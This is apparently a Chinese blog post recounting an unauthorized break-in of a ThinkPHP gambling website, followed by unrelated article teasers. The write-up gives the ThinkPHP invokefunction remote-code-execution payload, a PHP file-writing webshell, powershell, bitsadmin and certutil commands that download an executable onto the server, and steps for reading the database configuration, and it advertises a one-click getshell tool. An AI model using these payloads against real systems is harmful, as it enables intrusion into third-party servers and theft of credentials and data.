菠菜安全测试
前言无意间发现一个thinkphp的菠菜站最近tp不是刚好有个漏洞吗然后就顺手测试了一下但过程并不太顺利不过最后还是拿下了所以特发此文分享下思路。0x00 一键getshell简单看了下应该有不少人玩吧正好前几天写了个测试工具先掏出来测试一发。工具显示存在漏洞一键getshell看起来很顺利的样子哈哈。但是...小明甩了下头发发现事情并不简单。菜刀连接的时候返回500错误。我们用火狐的hackbar验证下,没毛病啊那为什么菜刀连接不上呢作为菜逼的我不禁陷入了沉思...0x01 开始分析因为这个工具我自己写的从上面getshell的图片中发现调用的是第三个exp那么我们来分析下看看。poc如下/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]dir我们在poc后面输入whoami看看权限。/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoamiiis权限但是可以执行部分命令比如echo dir等等。0x02 尝试突破拿shell既然可以执行echo 那么我们可以来尝试写入个小马试试如果成功的话再利用小马上传大马说干就干苦活来了我们得一行一行写入进去。注意代码中的符号要用^^转义。比如?php转义为^^?php?php header(content-Type: text/html; charsetgb2312); if(get_magic_quotes_gpc()) foreach($_POST as $k$v) $_POST[$k] stripslashes($v); ? form methodPOST 保存文件名: input typetext namefile size60 value? echo str_replace(\\,/,__FILE__) ? brbr textarea nametext COLS70 ROWS18 /textarea brbr input typesubmit namesubmit value保存 form ?php if(isset($_POST[file])) { $fp fopen($_POST[file],wb); echo fwrite($fp,$_POST[text]) ? 保存成功! : 保存失败!; fclose($fp); } ?逐行写入完成后访问的时候发现并不能正常运行这里忘记截图了。。接下来尝试用以下方法下载文件到服务器上也失败了。powershell下载 注意内核5.2以下版本可能无效 powershell (new-object System.Net.WebClient).DownloadFile( http://192.168.174.145/ssss2.exe,C:\ssss2.exe) bitsadmin下载 bitsadmin /transfer n http://baidu.com/PSTools.zip C:\PSTools.zip 注意不支持https、ftp协议使用kali的simplehttpserver作服务器会报错正当我打算放弃的时候我想起来还有个下载的命令没用。那就是certutil.exe说干就干把大马放到我们服务器上开启HFS。然后执行以下命令。certutil.exe -split -urlcache -f http://ww.baidu.com/svchost.exe svchost.exe成功进入大马不过别高兴太早。小明再次甩了下头发发现事情更不简单....大马可以操作文件上传改名等等但是无法编辑文件无法查看文件源码等等点开显示一片空白。既然这样那么我们进数据库看看吧。我们都知道tp的数据库配置文件在以下这个位置/application/database.php大马是无法打开了那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]type c:\www\application\database.php尝试type读取失败然后又想到copy命令。把database.php拷贝到web根目录下改名为1.txt/?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]copy c:\www\application\database.php c:\www\public\1.txt拷贝完成以后访问url/1.txt发现里面是空的。0x03 成功突破经历了一系列的失败后我冷静下来想了下我们还可以用file_path去读取源码试试。?php用大马上传这个文件到根目录下然后访问成功拿到数据库配置信息。然后填写好配置信息进入数据库。此文写到这里已经夜深人静看着桌子上吃了一半的泡面最后喝了两口汤关机睡觉......后记本文纯属虚构如有雷同拒绝查水表。tp5测试工具我更新了下添加了3个getshell方法。回复即可下载。免责声明工具只能用于测试漏洞禁止用于非法用途否则一切后果自负。

相关新闻

(一)ArcMap入门——核心界面导航与高效操作指南

(一)ArcMap入门——核心界面导航与高效操作指南

1. ArcMap界面初探:从零开始的导航指南 第一次打开ArcMap时,面对密密麻麻的按钮和窗口,很多新手都会感到手足无措。其实只要掌握几个核心区域,就能快速上手这个强大的GIS工具。ArcMap的主界面可以划分为五个功能明确的区域&#x…

2026/6/28 22:06:28阅读更多 →
Commander C300-034 00094交流驱动器

Commander C300-034 00094交流驱动器

Commander C300-034 00094 交流驱动器开头:尼得科 C300 系列 4kW 三相交流变频器,通用工业电机调速驱动设备。三相 380-480V 供电,额定功率 4kW,输出电流 9.4A支持 V/F、开环矢量、RFC 磁通多种电机控制模式内置动态制动回路&…

2026/6/28 22:06:28阅读更多 →
idea中新建springboot项目步骤,并添加数据库配置,pom文件依赖,附源码

idea中新建springboot项目步骤,并添加数据库配置,pom文件依赖,附源码

idea 中新建springboot项目步骤如图:配置文件 配置文件可以是properties或是yml,看个人使用习惯及公司开发要求,比较推荐yml层级分明,在项目中选中配置文件,右键可以切换文件类型.properties spring.application.nameS…

2026/6/28 22:06:28阅读更多 →
基于UltraScale GTH与SMPTE IP核的SDI视频处理系统设计,提供多平台工程源码与移植指南

基于UltraScale GTH与SMPTE IP核的SDI视频处理系统设计,提供多平台工程源码与移植指南

1. UltraScale GTH与SMPTE IP核的黄金组合 在视频处理领域,SDI(Serial Digital Interface)一直是广播级视频传输的标准接口。传统方案依赖专用编解码芯片,但成本居高不下。Xilinx UltraScale系列FPGA的GTH高速接口配合SMPTE UHD-S…

2026/6/28 23:21:43阅读更多 →
STC中断实战:从寄存器配置到多任务响应

STC中断实战:从寄存器配置到多任务响应

1. 中断机制与智能家居场景的结合 第一次接触STC单片机中断功能时,我正为一个智能家居项目头疼不已。系统需要同时读取温湿度传感器、监测门窗磁开关、处理无线遥控信号,还要定时上报数据到云端。如果只用轮询方式处理,要么响应迟钝&#xff…

2026/6/28 23:21:43阅读更多 →
AIGC模型资源

AIGC模型资源

🇨🇳 国内网站(无需特殊网络) 1. LiblibAI(哩布哩布AI) 链接:LiblibAI-哩布哩布AI - 中国领先的AI创作平台 核心功能:Stable Diffusion 模型托管、在线生成、提示词分享与社区交流…

2026/6/28 23:21:43阅读更多 →
RL78 Flash编程与调试:三大IDE配置全解析与避坑指南

RL78 Flash编程与调试:三大IDE配置全解析与避坑指南

1. 项目概述与核心价值在嵌入式开发领域,尤其是汽车电子、工业控制以及消费电子等对可靠性和可维护性要求极高的场景中,固件的现场更新能力是产品生命周期的关键一环。Renesas RL78系列作为一款低功耗、高性价比的8/16位微控制器,其内置的Fla…

2026/6/28 23:21:43阅读更多 →
第7章:Workflow 高级节点——让流程真正“智能“起来

第7章:Workflow 高级节点——让流程真正“智能“起来

1. 项目背景 上一章我们搭建了"开始→LLM→结束"的线性流水线,但现实中很少有业务流程是一条直线走到底的。比如 HR 部门需要处理员工请假流程:如果请假天数 ≤ 3 天,自动审批;如果 > 3 天,转给主管审批。又比如运营部门需要批量处理 500 条用户评论:逐条判…

2026/6/28 23:21:43阅读更多 →
实战指南:在AutoDL云服务器上构建Qwen-7B-Chat的FastAPI服务接口

实战指南:在AutoDL云服务器上构建Qwen-7B-Chat的FastAPI服务接口

1. 环境准备与AutoDL平台配置 在开始构建Qwen-7B-Chat的FastAPI服务之前,我们需要先准备好运行环境。AutoDL作为国内主流的GPU云服务平台,提供了丰富的计算资源和预装环境,特别适合部署大语言模型。这里我分享几个实测有效的配置技巧&#xf…

2026/6/28 23:16:43阅读更多 →
AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

6个月前的2025年12月,Boris Cherny 公开宣布自己卸载了 IDE。一时间,Vibe Coding 成了全行业最热的话题。6个月后,当我们回过头来拉一份真实账本,发现事情远没有"一句话生成一个App"那么浪漫。本文从产品经理和研发两个…

2026/6/28 0:08:01阅读更多 →
审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

引言:审计结束三个月了,审计员的权限还没关某城商行每年按照监管要求开展至少一次数据安全审计。审计期间,内审部门需要抽样检查各类业务数据——交易流水、客户信息、员工操作日志、权限配置记录。这些数据分布在不同系统中,审计…

2026/6/28 0:08:01阅读更多 →
AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

6个月前的2025年12月,Boris Cherny 公开宣布自己卸载了 IDE。一时间,Vibe Coding 成了全行业最热的话题。6个月后,当我们回过头来拉一份真实账本,发现事情远没有"一句话生成一个App"那么浪漫。本文从产品经理和研发两个…

2026/6/28 0:08:01阅读更多 →
审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

引言:审计结束三个月了,审计员的权限还没关某城商行每年按照监管要求开展至少一次数据安全审计。审计期间,内审部门需要抽样检查各类业务数据——交易流水、客户信息、员工操作日志、权限配置记录。这些数据分布在不同系统中,审计…

2026/6/28 0:08:01阅读更多 →